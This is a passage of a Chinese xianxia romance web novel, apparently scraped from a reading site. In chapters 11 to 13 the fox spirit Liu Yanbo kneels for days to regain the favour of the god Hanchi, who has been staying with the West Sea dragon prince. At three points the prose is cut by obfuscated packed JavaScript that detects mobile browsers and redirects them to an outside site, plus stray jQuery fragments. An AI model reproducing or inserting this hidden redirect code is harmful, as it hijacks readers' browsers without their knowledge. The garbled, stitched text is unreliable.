烟波还是第一次来寒池的住所,只见一棵古树长在屋内,从中穿出巨大的树冠覆盖着整个屋顶,辟出一片阴凉。她从未见过这样的房子,但此时也顾不得多看,她左绕右绕了三圈,别说寒池了,仙鹤都没见一只。 她心中有种不祥预感,直直跑了出去,拨开最后一片雾气,竟一口气跑到了半山腰,脚下突然一软,踏穿了一个窟窿,她的半条腿都漏了出去。 从窟窿向外看去,是万丈的滚滚云海,还有漂浮在云海中的飞鸟香车,以及隐在云海中的群山和宫殿,既像画一般精美,也如画一般大小。 这意味着,倘若她整个人下去,会被跌得粉身碎骨。 “这是什么地方?”烟波冷汗津津,手脚并用的爬上来,过了许久才出声问道。 她日日都在等闲境中打转,从未到过这种地方。每回往往觉得自己走的够远了,就会陷入无边无际的迷雾之中,最后不得不原路返回。 而眼前的一切……只有在寒池带她去赴宴的那天才见过。 “这是等闲峰的半山腰,神女已经跑出等闲境了。”波波道。 “你说什么?”烟波猛地回头,大吃一惊。 “是,上神已经撤了等闲境的一切结界,现在神女可以自由出入。” 烟波一向知道寒池为了防着她跑路,那莫名其妙出现的白雾就是他用来隔绝她和外界的手段。 可既然如此,他为何肯突然撤去结界,任由她自由出入呢?他不担心自己跑掉了吗? “你知道从这里到人间的通道吗?”她猛地回头。 波波从手中托出一光团,自掌心飘至空中,分开在半空结成一个阵法,静静流泻着华光。 “这是上神走前交给我的,以乾卦解,便可以入人间天堑斩道了。” 难道是……烟波脑海中突然蹦出一个念头。 坏了。 九天人间之下的四海,分有东西南北四域,分别由龙族各主掌管。 一叶小舟此刻行于西海之上,船上的老夫妻边和小孙子讲着龙王的故事,边撒开网子等待,不一会儿便拉上来了一兜子鱼虾。 从网下幸运逃脱的小鱼吐出气泡,一路下游至一片明亮深沉的海水,像地上天空颜色的倒影,仿佛还有阳光透入,反射出七彩的光芒。 无数鱼儿穿行其中,漫不经心的排出流动的彩带。一排排夜明珠立在道路两旁,照的背后高大的水晶宫殿流光溢彩,光芒逼得人不敢直视。 殿内,一位高大俊美的男子头戴金冠,锦衣玉带地玩着手上颤颤巍巍发着光的水母,捏一下水母就变一个色。他百无聊赖的玩了一会儿,终于放过了小水母,抬头问对面的白衣男子:“我说上神,都半个月了,还不告诉我你为什么过来?” 寒池放下手中的书,脸上笑意未减:“怎么,不欢迎?” “欢迎欢迎,当然欢迎!” 夔元扶着刚醒酒不久的脑袋堆笑,一屁股凑到寒池跟前:“我这不是好奇嘛,到底什么大事能把你给惊动了?我们西海偏僻,什么消息都赶不上热乎的,你必须得透个风啊。” “无事。”寒池瞥了他一眼。 鬼才信嘞,夔元暗暗腹诽。 这尊上神大门不出二门不迈的,可比人间的闺秀小姐还不舍得出门,这回突然跑来他家西海,一住就是半月,瞧这意思还要接着往下住,说出去还不叫人惊掉了下巴。 寒池悠闲地翻了一页书,慢条斯理地说:“偶尔换个地方住也挺好的。” “哎呦你可算开窍了!” 夔元一拍大腿,甚是欣慰:“每次去等闲境找你,就觉得那地方除了树就是鸟的,半个能说话的都没有,也不知道这么多年你是怎么没被闷死的,难不成你喜欢自言自语?” 见寒池不说话,夔元没受影响,继续滔滔不绝,说着说着又是一拍大腿:“怪不得你终于熬不住,要提个狐狸上来。对了,你是过来换风景了,你的小神女怎么办?怎么不带着一起过来?” 话一出口,夔元立刻感到周身杀气阵阵。 寒池眼中的寒意森森,仿佛要将他刮干净,嘴角却依然上扬着,上半张脸和下半张脸完全分裂成两个季节,一副皮笑肉不笑的样子看的夔元毛骨悚然。 他下意识吞了口口水,小心道:“怎、怎么了,你俩吵架了?”见寒池不说话,夔元估计猜对了,好心劝道:“你跟小女孩置什么气啊,床头吵架床尾和的,我这可不是让你来生闷气的。” 好了,这下身上下的不是刀子了,寒池那眼神简直是要将他凌迟个八百回。 夔元扛不住,只好硬着头皮,顶着这可怕的目光告饶:“是我说错了,上神是报恩,与那柳烟波清清白白,没有半点多余牵扯,什么床头床尾的,呸呸呸!” 寒池这才将目光收回,笑的分外和煦,就当没听到他的前两句话:“拜你所赐,她留在等闲境。” “拜我所赐?”夔元愣了愣。 寒池摊开手掌,掌心腾得升起一道金色真气,在他手中不住翻滚。 “这是我送给她的贺礼,怎么了?”夔元没看出有哪里不对。 “龙三太子的真气乃是天下至阳之气,确实是极好的东西。可是香雪酒大寒清神,一寒一热全汇在一起,你的真气在她体内四处流窜冲撞,她刚形成的仙体太弱,禁不住这样大补,搅得仙基不稳,晕过去了。” 本打算将她扔在地上撒手不管,没想到柳烟波竟真的昏了过去。逼得他只得边气边给她调理,此事越想越憋屈,寒池气不过便一拂袖来了西海。 “这是需要我负责的意思?她现在如何了?”夔元挤眉弄眼道。 还说他二人清清白白,这才多点事,就急吼吼的找上门来兴师问罪。 “已经无碍了。”寒池冷笑,又翻了一页书。 若没有夔元多事,此刻他早就将柳烟波扫地出门,哪能由得她现在还能理直气壮的污染等闲境。 那这大爷来找他干什么!夔元无语。 对面像玉雕一样的上神是夔元好容易才熟络起来的。表面上一团和气,极少见红脸发火,哄骗了许多人去。 实际心里极难亲近,谁也做不得他的主,一旦生了气,就要叫人遭罪,看着寒池一派和煦自在的样子,啧啧,这身上吹出来的风可都是阴风呐! 夔元笃定是寒池朽木不可雕,和柳烟波吵了架又吵不过,可怜了自己无辜给寒池撒气。 想明白这茬,他激动得很,终于有别人能领教寒池的脾气了!他竭力克制的嘿嘿道:“所以……她惹出什么大事了?能让你这么生气?” 见寒池的眼刀又要扫过来,他也不惧,一把将个东西挡到自己面前:“别再瞪我了,瞧把我家小十三都吓得不敢玩球了。” 这东西正是他最小的妹妹。西海的十三公主。现下才满百岁,还不通什么人性,整日就爱露出真身黏着她的哥哥姐姐。 现在化作一只比蛇长不了多少的小金龙,游在夔元头顶,将一颗人脑袋大小的夜明珠拱得滴溜溜转,听到三哥哥叫她,便也抱着珠子不动了,傻乎乎的看着寒池吐泡泡。 寒池对上小金龙,默默将目光收回。 有了小妹妹撑腰,夔元自觉硬气了不少,继续道:“你不说,我可就猜了。难不成是她对你图谋不轨?” 寒池心中“咯噔”一下,没想到他一猜就猜到了点子上。 他抬眼看他:“何出此言?” 夔元贼笑:“他们凡人的话本子都是这么说的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这是将他家小十三干的事都往一千岁的狐狸身上套,寒池任由他越说越不靠谱也不打断,自顾自的平复心情。 直到夔元自己一个人说到没意思,才打住道:“你说说,这种事你不同我说,还能同谁说? 我好歹家里还有些兄弟姊妹,管起人来肯定比你有经验,能同你说道说道。不然回头你只能和你的傻鹤闷头对着,能钻研出个什么说法?” 龙王家的亲戚多,寒池觉得此言有理,沉吟片刻,终是虚咳两声道:“三太子平日,是怎么管教小辈的?” “瞧瞧!谁能想到有这么一天?以前恨不得万事不沾身,现在一副老妈子模样,这就叫报应不爽!”夔元在他跟前少有这么扬眉吐气的时候,心情分外欢快。 “你说不说?”寒池拿扇子叩叩桌角。 夔元正色道:“不知道。我家妹妹都乖得很,从来不叫人操心。” 寒池觉得自己确实是昏头了,竟会给他鬼扯的机会,起身便要走。 夔元连忙找补:“不过她毕竟不是个小姑娘,七百岁在我们看来是小丫头片子,可她们狐狸精千年就修炼成天狐了,这资历真不算浅。 在凡间混迹多年,性子处事怕是已定性,再难改动了。你若不会教,便送去有名气的仙君座下拜师,也是个法子。” 送她去别的仙君跟前勾引吗……他还要脸。 看寒池不接他的话,夔元又道:“或者你将她送到西海啊!我帮你管。我们家女孩儿多,也能同她多说说话。” 说着将小金龙从头顶拽下来抱在手上,努力营造出兄友妹恭的样子。 寒池放下手上的书,笑的极温柔:“若不是你比她还没谱,我十分乐意将她放到西海,让你好好领教一番。” 夔元觉得自己无辜极了,扯他做什么。 寒池不再理他,伸手唤小金龙过去,变出一瓶酒来:“小十三过来,这是给你的。” 小金龙摇身一变落了地,化作个两三岁的小姑娘,用金线挽着双螺髻,额上还有刚长出不懂得收回的小小龙角。 她得了瓶子,立刻将夜明珠丢在地上,抱着瓶子闻香味。 “她太小了,不能喝酒,就由我这个当哥哥的代劳吧!”夔元说着就要去拿瓶子。 寒池抬臂,将十三公主护在身后:“别抢小孩子的东西。” “那我的呢?” “没有。” 夔元看他的样子,估计心中已有了主意,问道:“要走了?” “嗯。” 夔元抚掌:“这就对了!好好和人家说,没什么谈不好的事。” 闻言,寒池回头,展颜一笑:“谁说我要和她谈了?” 虽不明白他想干什么,但夔元已被这渗人的笑容激得打了个激灵。 11. 负荆 已经第五天了。 波波蹲在地上逗虫子玩,时不时侧头看地上跪着的女子,见她丝毫没有想起来的意思,纤细的背影更显孱弱。 “已经第五天了,你还不起来吗?” 烟波摇摇头。 “那,你真的不喝药吗?” 烟波想了想,还是咬咬牙拒绝了。她巴不得看起来越虚弱越好。 “上神不知道什么时候才回来,你要一直跪着吗……可是上神没叫你跪呀?” 波波越来越不明白,虽然柳烟波欺负过她,可见她这么可怜,这点子仇怨顿时被她抛到了脑后。 自打五天前烟波发现屏障撤了,便二话不说跑到上神的雪斋跟前跪着,不吃药不休息,说什么也不听,波波真怕她什么时候又会昏过去。 烟波跪的腿已经没了知觉,倒觉得比前两天好受些,她道:“是我犯了错,自己要跪的。” 波波挠头:“上神不和人生气的,你别怕。” 虽然她也有点怕上神,可他从不曾对自己发火,波波义不容辞要为寒池辩解两句。 烟波叹了口气,没说话。 打从她确认寒池撤走所有屏障的那一刻起,她就知道这次是真的惹怒他了,他让她爱滚哪滚哪。 她经过不懈努力,终于功夫不负有心人的把自己作死了。 见寒池动怒的形容,她自然明白是自己想岔了。 她与寒池相交尚浅,但能感受到此人孤傲清高,说一不二,这份恼怒足够证明他并非传闻所言。 更别说自己空有一身仙力不会使,回到凡间可能立刻成了某个妖怪的修炼速成补药。她在九重天毫无根基,除了寒池没神仙会买她的帐。 既然这段时间寒池没有亏待过她,又没有见不得人的心思,那她何必和祖坟作对,踹了自己的靠山?他个施恩的都不在意,她干嘛死揪着不放? 烟波算拐过这个弯了,现在自己一无所有,这条命这口气都是寒池给的,就算真有什么不对,当即还了他这条命就是。 这大好的神仙日子过一天就是赚一天,是她在白薅寒池羊毛,薅不动再拉倒算了。 五天前她便细细盘算过,寒池没直接将她抛出等闲境,还顾及她的颜面未对波波提及此事,兴许意味着寒池还没有完全放弃她,而是等她自己选择,这时候她要敢走可就彻底挽不回了。 掂量着寒池总该舍不得他亲手换成的仙骨,烟波笃定自己有把握不被扫地出门,所以跪得痛快,等得也甘心。 此时就是后悔,本想着跪下了就支使白鹤或者波波去通报寒池,没想到所有人都不知道寒池去了哪。 但她跪都跪了,一举一动都被这帮寒池的耳报神看在眼里,再爬起来岂不是白费功夫,只得老老实实跪着。 想到自己差点学凡人来个负荆请罪以示心诚,此时她格外庆幸她没背荆条在身上,谁能想到这寒池好狠的心,一走就是五天,先把自己跪掉半条命。 他大爷的,被美人投怀送抱他也不亏啊!小作怡情大作要命,这可真是一失足成千古恨,此恨绵绵无绝期。 “神女,你怎么在这里?” 黄钟领着他的白鹤兄弟们落地化作人形,好奇的打量烟波。 只见她脸色煞白,唇无血色,面上一派沉痛之情,虚弱的仿佛一阵风都能将她刮倒。 烟波身子颤了颤,低垂着头,声音气若游丝中又浸着满腔的悔恨:“是我自知犯了错,跪在这里等上神责罚。” 待寒池回来,这些人可都是她诚心悔过的见证,此时不表现更待何时! 黄钟虽不知发生了什么,但见她这幅样子,心中颇为同情,安慰道:“我看上神没有生气呢,他就快回来了。” 烟波精神一振,还算这位上神有良心,要是他十天半个月不回来,自己真是先跪死过去了。 黄钟的消息不假,只过了小半个时辰,就看到一仙人翩然下了云头。 白衣高冠,一身皎洁仿佛与周身云雾难分,只是此时的一双多情眼分外清冷,反而显出一种逼人的俊美来。 烟波立刻敛了神色,撑着身子娇弱的跪着。 娇弱是一门技术,在将倒未倒间要精准拿捏分寸,她现在可不能晕倒,不然又叫他以为自己在耍心眼,那可就是功败垂成了。 谁知她只看到寒池的鞋面在她跟前略停了停,就进了殿,衣角拂过她肩头,只留下满鼻清冽的木香。 这人就没有一丝怜香惜玉之心。 烟波在心中痛骂,但是谁叫她上赶着,只得认命的继续跪。 寒池坐在榻上,望着窗外树影摇晃,也觉得出乎意料。 他在来的路上听了波波这几天的见闻,又是勾引又是下跪的,身段实在过分灵活了。也只有这样不择手段,才能为自己挣出一副仙骨。 “上神不叫她起来吗,我看神女的脸色像是病了。”黄钟看看外面,不忍心道。 “她是仙体,跪几天无妨。” 他双手掐诀,又闭上了眼。 最后一丝黄昏的光芒消失了。金乌走了,望舒来了,可屋里还是毫无动静,待天黑透,里面终于点起了灯。 暖色的灯光落在丝绢的窗花上像一张画,映出了一个剪影。 屋中人垂首端坐,偶尔将灯挑的明亮一些,更多的时候,都在静静翻动书页看他的书,似乎当外面跪着的是一树要谢的花,完全不需搭理,任她落就好。 烟波咬牙瞪着近在咫尺的一室暖意,装,他就装吧。 明明一挥手就亮的事,偏要装模作样的挑灯,不就是给她看的吗,她就不信他能看进去一个字! 膝盖已经跪到毫无知觉,时刻都能倒地不起,她再也不想着什么伏低做小,脑子里嗡嗡作响,只有绷紧的一根弦拉扯着她不能瘫软。 她退无可退,她不能输。 烟波就这么硬撑到了第二天早上。 按理来说,她的仙人之身摔不坏打不烂,不吃不喝跪个几天也无大碍,可她勉强接下雷劫的身子还没完全缓过来,又被夔元的大补阳气冲了一波,这么熬了几天委实扛不住。 在混混沌沌就要倒下的前一秒,终于等到了寒池叫她进来的消息,她脑子一片空白,身体仿佛不是自己的,行尸走肉一般进了雪斋,进去了也不敢站着,噗通又跪了下去。 膝盖砸在地板上,是冰凉的钻疼。 寒池终于正眼瞧了她一眼,面前的女子几乎叫他认不出来,六天的白天黑夜换来了她触目惊心的憔悴,好像这躯壳里只剩下一抹幽魂,好不容易养出的气色全部作废,仿佛刚被雷劫劈完。 寒池垂眸,淡声问道:“是来同我辞行的?” 烟波哪听不出来是嘲讽,局势已经翻转,再也不是他求她留下,而是她乞求他留下自己。 她嘶哑着嗓子道:“我做错了事,甘受任何责罚。” “哦?错了何事?” “我……我不该以小人之心度上神的君子之腹,差点污了上神的名声。只是我醉酒确实是真,酒劲上头失了分寸,说得都是醉了的胡话,上神大人有大量,千万别同我一般见识。” 哦,那还是不明白。寒池点点头,道:“当时说了什么,还记得清吗?” “只是有个印象,细节记不得了。” 烟波心中叫苦,本想拿胡话当个台阶,将这篇也就含糊揭过了,怎的听他的意思,还非要较真将事情抖落干净? “既然记不清,那怎知自己犯错?若不知自己犯错,为何连跪五天,进来也不敢坐着?” 寒池暗暗冷笑,到这会儿了,还在避重就轻同他耍心眼。 这可是抱大腿的关键时刻,成败在此一搏,她拼了老命也得跪啊! 烟波只得把头埋得更低:“我差点毁了上神清誉,这点烟波知道的很明白。” 是差点吗?是已经毁完了。 想到夔元转述的那些污糟话,寒池额角突突的跳。 他说:“我问过仙鹤,你借着他们送果子的机会,哄他们喝到不能御风,只得和我同乘,以便图谋不轨。所以,连馋荤腥也是你精心设计的一部分。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332626|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这是他难得觉得烟波真实的部分,才愿意为她寻帝休果作为安慰,可惜真是浪费心思。 天地良心啊,喝酒是假意,馋肉那可是真到不能再真的真心!烟波默默哀叹,只是她现在不是分辩的时机。 认错的第一要义,不管错对都是自己的错,这时辩白只能被罪加一等。 寒池没耐心兜圈子,一语点破道:“至于这图谋不轨,再说明白点,你勾引我。” 听着话锋不对,烟波赶紧截住他的话头抢白:“都是我一时想岔犯了糊涂,上神该骂!错便是错了,我无话可说。” 说着说着,一滴泪顺着眼眶滚到下巴尖,晶莹的泪珠将掉不掉,就那么伶仃的挂着,我见犹怜,叫人不动恻隐之心都难。 这滴如此精巧的泪,是知错懊悔,还是糊弄乞怜? 以他对这狐狸的了解,恐怕是第二种。 见寒池不为所动,烟波另一只眼也淌下一滴泪,下巴上像一左一右对称的挂着两颗天上的寒星,哽咽道:“请上神宽宥,垂怜。” 只有沉默答她。 烟波藏在袖中的手紧握成拳,仰面将红红的眼对准寒池: “小狐无依无靠,所能倚仗的也唯有上神而已,我初来乍到,心中不安,又喝多了酒,才做出这些疯事触怒了您。您若是不原谅我,我便真的无地自容,无处可去了。” 烟波边说边在心中痛骂,还有完没完了?到底有多委屈他了! 听到现在,寒池已对她愈加生恶。这狐狸脑子灵光,膝盖弯的太快,更显出用心不诚。 原先还咬死了无功不受禄,不肯要这份仙骨闹着要走,现在真放她走又在这里死缠烂打,可见先前的拒绝都是欲迎还拒、故作姿态,只为了骗得他的高看。 坦白说,这手段若用到别人身上,他会很欣赏的,不是谁都有这样精湛的演技。只是落在自己手上,那就敬谢不敏了。 他等到今日终于等到了破绽,已不耐烦分辨她是真情是假意,即便怎么处置她,也都算得上有理有据。 给她的机会,实在已经太多。 他缓缓起身,俯视着眼前的女狐:“看来,你什么也想不起来了。对你来说,那些果然都是不值一提。” 未等她反应过来,只听这个向来低柔的声音厉声诘问道: “再生一世,你就甘心用同样的活法重复一遍,可觉对得起自己?” 烟波豁然瞪大了眼,心潮耸动。 活了两辈子,身边的人或是绝对的依赖她,或是绝对的鄙夷她,可却没有人介乎两者之间,像是在为她遗憾不平,偏偏,是从这个最不可能的人口中说出。 明明这目中无人的男子只会说她不配,难道他心中竟认为她,是值得的? 也许他仅仅是可惜他给她的这身仙骨,可是这句话的确是在为她愤慨,仿佛她虚掷了千金,将璞玉用作了泥沙,正说到了自己的心坎上。 这样恨铁不成钢的语气,分明只会最亲厚的人才说得出口,让她心头激荡的暖意退去后,浮出极为割裂的奇异感。 见眼前的女子语塞,褪去了方才矫饰的神色,终于顺眼了不少,寒池也不再多言,只是对她的定论不可动摇。 倘若一个人执意坠落,即便是生身父母也无法置喙,只是若放任她携一身仙力下凡,后患无穷。 寒池的眸光微动,像行刑官对犯人询问临终遗言一样,用慈悲包裹着居高临下的冷意:“还有什么想说的吗?” 柳烟波却像痴了一样,却动也不动。 他轻叹口气,手中微微运气,只待下一刻动手抽去仙骨。 重新化为尘土也是一瞬间的事,他只不过抽走仙骨,谁又能说这不是一种关照呢? 也许他本就不该逆天而行插手凡间因果。以后各归其位,她做她的狐狸精,他做他的上神,如四时归序般顺应天道法则,这一截波折只当送她的一场奇梦。 “虽然是你赋予我仙身,可我知道,你从没把我当做你的同类。” 眼前的女子忽得抬起头,逼视着他。 12. 看头 寒池袖中的手指微微放松下来,她立直了身子,眼睛明亮的像生着两团火焰,不错目的看着他。 “想来关于我的传闻你听过不少,都不是什么好话,我猜这样的条件下,神仙也不能保证不带成见的对待一个妖精。” 神祇一如既往的冷静,只说:“你生了一副好口齿。” 烟波不愿去想他话中的深意,感到自己心脏狂跳,咬牙继续说: “而我虽对你知之甚少,但看宴上那些神仙的反应,上神应当是个一路顺遂的天之骄子,没尝过困苦滋味,你我生长处境截然不同,自然无法易地而处。” “既然本就站偏了位置,我以管中窥天,自然看得眼花;上神由上而下的看我,纵然仙人生天眼,这样的眼力也未必做得了数。 可是您方才的那句话,让我意识到,也许我看你的角度,也失了偏颇,既然如此,我们为何不能给彼此一个机会,重新认识一次?” 她的语气异常平静,也叫言语更加掷地有声。 寒池若有所思道:“照你所言,那些传闻都是假的?” “是真的。”她摇头。 本以为她要竭力证明传闻是假,没想到她竟痛快的认了,叫寒池一时语塞。 “世上不光有好妖坏妖,还有像我这般不好不坏的妖,传言只能证明我的活法,不能说明我有罪。除非上神以为,‘情’就是不堪的罪过?” “我向你道歉,也只是为着冒犯误会了上神,其余旁的并不算在里面。” 他慢慢审视着她:“倘若你是我,会如何看柳烟波?” “花非花,雾非雾,夜晚看花与白日赏花,效果截然不同,不妨给足阳光雨露,再来观花。” 场面一时变得很静,半晌,才听他声音中不带一丝情绪的说: “答非所问。你未必有一枝花的看头。” 见他不为所动,烟波大失所望,却听他又问:“这些话,为何不早说?” 有戏! 她抖擞精神,勉强一笑:“方才已经给过自己的答案,因为我曾经也相信,神仙不能保证不带成见的对待一个妖精。” 曾经?寒池眸光一闪。 “需要我为此道歉吗?”他语气客气有礼,挑不出一丝错处,同样找不到一丝温度。 烟波没有应答,她明白他的意思。 此时指望向高高在上的神仙索要一个道歉没有意义,九重天的风度让他们的礼貌比脚下的行云还要泛滥。 他能对她说一百句抱歉,但心中不会道歉一次。 她只是笑了一下:“你和我想象的神仙一样,哪怕心中多么嫌恶厌弃,表面还要维持一副亲切的气度不叫别人难堪,也许这就是你们所谓的普度众生?我都明白,很是感激的。” 寒池怔然坐起,乌黑的眼眸震动,脸上那副从容不迫的神情消失了一瞬。 见他听懂了,烟波住口不言,忐忑的等待她的最终定论。 她一直在耐心寻找寒池到底想从她这里问出什么,所以努力的拉长二人的谈话,说的话越多,她才有更多的可能发现其中的缝隙。 寒池方才的那句诘问提醒了她,他不喜看到她重复,那么陈腔滥调的套路对他都是无用。 他在意被她施计勾引,他厌恶她骗他想吃肉。 她突然灵光一现,等闲境中,波波和仙鹤们都有一双天真无邪的眼睛,也许,这就是他的偏好。 思无邪。 于是她下定决心一搏,不惜说这些刺耳出格的话来强调她的“真实”,只是寒池倨傲自衿,若是他心胸狭隘容不得忤逆,恐怕是弄巧成拙。 上座男子已恢复了平静,眸光幽微深邃:“做这样的神仙,确实是难为你了。” 他的话没有情绪,只有清楚明白的笃定。 烟波如释重负,长长吐出一口气,这是意料之中的结果,她竭力争取过,便也没有遗憾。 她整理衣裙,向寒池行了个凡间的拱手礼,道:“琼浆玉液饮过,不枉这一遭,多谢复生之恩。” 说罢转身要走。 “要去何处?”身后传来他的声音。 “重来一次,若不寻觅一处自在,我的确不能甘心。” 她想,她总还有一具实实在在的身体,一双比以前还要明亮的眼睛,天地之大,何必拘于高位。 以后再没有人和事能束缚住她,她可以去寻访故人,回到封印的地方看看,再手刃了那个封印她的天师,如果还是被他杀了,也算一个心甘情愿的了结。 “既已踏入仙门,人间种种皆为前尘,不妨留在此地,重结因果,且看生花。” 他的声音随窗外金乌的升起渐渐透出暖意,仿佛一声令下解除了咒语,叫周遭的空气开始流动,林中的鸟儿开始喧腾。 这柳烟波能言善辩,舌灿莲花,虚虚实实,难以分认,可其谈吐和见识却无法矫饰,奸猾浅薄之流绝说不出这一番话来,显然胸中自有些见识,这才改了他的决定。 烟波停住脚步,猛地转身,见对面男子的眸光清澈如水,整张脸被日光渡上一层柔和的金芒,不禁心中一动,一股说不上来的暖意涓涓流过,自心口蔓延到了四肢。 烟波这时才想起来笑,又像想到了什么,眉头微蹙,她迟疑道:“你有没有......” “没有。” 寒池斩钉截铁的打断她的话,这狐狸目光痴痴,显然对他的心思一时不能断绝,真叫她问出口那还了得? 烟波本想同他确认他是否知道御炎珠的事,被他一打断,想想一旦问出口就是暴露了自己,便将剩下的话咽回肚子,决意不再提了。 寒池面色肃穆,想了想,终是开口道:“既然不肯走了,说明你知道自己想要什么。 自作聪明的人最是蠢笨,把对我的心思都收干净罢。我无法回报你,你我最好的相处方式只能是恪守礼数,互相尊重。” “?”烟波还没来得及开心,就被寒池的下半句话噎的半死。 他没事儿吧? 这外面传得可都是他对自己爱到死去活来,凭什么稍微勾引了一下就成了她爱而不得? 她张了张嘴,却想起自己是来死缠烂打哭着喊着要他留下自己的,切莫多生事端让他反悔,这下可真是哑巴吃黄连,有苦说不出。 行吧,是她暗恋他。 她捏着鼻子认了。 这位上神却仍在不依不饶的敲打:“都上了年纪,便应当知道分寸,以后,我不希望再为此多言。” 眼前狐狸的眼睛像震碎的琉璃闪烁,露出整张脸都要被撕裂的样子,看来她尚有几分羞耻心,也觉得难堪了。 寒池决定就此打住,给彼此留几分薄面。 不是,他有病吧? 他都几岁她才几岁? 烟波火冒三丈。 饶是寒池自觉好心的加上“都”这个限定前缀,仍不消减“上了年纪”四个字带来的威力。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332627|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 烟波好想抽醒眼前为拒绝她而烦恼不已的俊脸,此男已沉浸在自己是个贞洁烈男的错觉中无法自拔了! 被他的话打动了一瞬的自己也是疯了! 她用尽十倍忍辱负重的功夫压住火气,咬紧牙关才挤出一句:“上神放心,我柳烟波就算是死,也不敢再勾引上神!” 寒池点到为止,挥挥手叫她去了。 这番对话下来,他亦觉得十分尴尬,绞尽脑汁为她留下三分薄面实属不易,不曾想对面这狐狸精已经认定,普天下再也找不出比寒池更能埋汰神的神。 烟波强撑着熬到现在,被寒池的重重荒唐言论越激越气,再也听不清他说了什么,没走两步,眼前一黑,什么也不知道了。 再一觉醒来已是三天后。 烟波从熟梦中惊醒,腾得坐起身,确认自己还躺在轻然居的床上,抓着波波一个劲儿的问,生怕寒池又消失了。听说他还在也不敢安心,收拾整齐就拿了茶壶泡茶。 “上神没叫你泡茶呀,你要好好休息。”波波又看不懂了,围着她来回打转。 烟波忙前忙后的顾不上理她。 认错的第二要义,善后、善后、还是善后! 她混迹红尘多年,别的半瓶子晃荡,察言观色的本领可学了个十成十,可知道有些人的性子是嘴上答应了,心里还是等着被人百般依顺才算满意。 吃过类似的亏,烟波拿不准寒池是不是这样的主,当下不敢怠慢,抓了托盘端起茶就往雪斋奔。 可惜烟波手上等到茶冷了又热,热了又冷,只等到寒池打发黄钟出来让她回去。 烟波不肯走,执意道:“我只想为上神侍奉盏茶,以表歉意。” 寒池隔着门听她说话,只觉得头疼。她又在作什么妖? 她细弱的身影端着茶盘立在门外,如同一株幽兰,被风一吹就会打起颤来。 他虽对柳烟波有些许改观,可这套凡间的人情世故实在是大可不必,寒池皱着眉想,第一个便要纠正了它。 他唤太簇下树,叮嘱一番,叫他代为向柳烟波传话,打发了她,脑海中忽然想起句芒师尊当日教诲: “寒池,你生就一颗草木之心,比之旁人淡泊少情,这既是好,也是不好。以此心修神身,可摒除杂念早登大道; 但以此心问神心,却难以共情体及他人,但盼你少以此心度彼心,多以万物观己身,切记,切记。” 他早已想不起这句箴言,可当日柳烟波的高谈阔论又将它从记忆深处拖了出来。 养在等闲境中的金鹤们都比柳烟波的年纪大,可心思单纯,犹如稚童,只知无忧无虑,哪里懂得她这些人情功夫。也许,不是他们天生就不懂,而是他们从不需要懂得。 正所谓花非花,雾非雾......若她不曾经历风雨,又怎会懂得这些? 烟波站了一盏茶的功夫,终于等到一只衔着玉镯的白鹤。 她取下镯子,见这白玉镯通身莹润中含了一汪殷红。抬头不解道:“这是……” 白鹤口吐人言:“他叫我把这个给你,走吧。” 烟波皮笑肉不笑的道了谢,把给寒池煮的茶一饮而尽,在回去路上大骂了寒池一百回合。 她难道是为了求这点施舍巴巴贴过来的吗? 拿个手镯来打发她,竟把她当要饭的叫花子了! 他知不知道当年老娘在凡间吃香喝辣,穿金戴银,手上的镯子多的能当编钟敲? 13. 模范怨侣 此番请罪,两人虽都交代了几句实在话,但仍各有偏见不平,心结未解,只想着各避各的嫌。 往后的日子烟波充分领会了寒池的精神,除了寒池来看她的病以外,二人不打照面,传话跑腿皆有波波和黄钟顶上,过的格外相敬如宾,如同一对模范怨侣。 至于一切的根源——那烟波苦寻的飞升原因,也被她咽回了肚中,闭口不提。 待她身体好转,便迎来了一车的各式佛经,望着颤颤巍巍往下掉渣的书山,烟波无语凝噎,后悔自己还是太老实了些,应该再病上他三个月才是。 耳边的波波还在念叨:“上神说修仙先修心,看佛经对神女修行大有裨益。特此挑选出《般若波罗蜜多心经》《金刚般若波罗蜜经》《妙法莲华经》等经典若干, 神女每日抄录一卷,每十日写佛理参悟一篇,字数不少于千字,交予上神检查。” “......” 可惜波波只是刚化形不久的果子精,听不出烟波的冷嘲热讽,只是拉着拖佛经的板车老老实实的站在一边,娇声娇气的说:“神女是抄书。” “......” 罢了,看她这幅样子就指望不上。 烟波望天长叹,道:“行了,我知道了。你先往边靠靠,别让书砸到。” 可摊开了纸,磨好了墨,她望着密密麻麻的字又犯起了愁,她还真抄? 为什么她已经成了神仙,还要和凡间开蒙的小娃干一样的活?这九重天怎么还用纸啊! 打从封印前,她就没耐烦抄书过,一向爱以法术代劳,偶尔亲自下笔也仅是消遣自娱,难道这会儿就能改邪归正? 她转转眼珠,撂下毫笔。 双手捏诀运气,催动毛笔自书。 笔晃晃悠悠升到半空,“啪嗒”一声,滚落在地。 烟波正要弯腰查探,突然丹田剧痛,她捂住腹部,额头渗出了密密的冷汗。 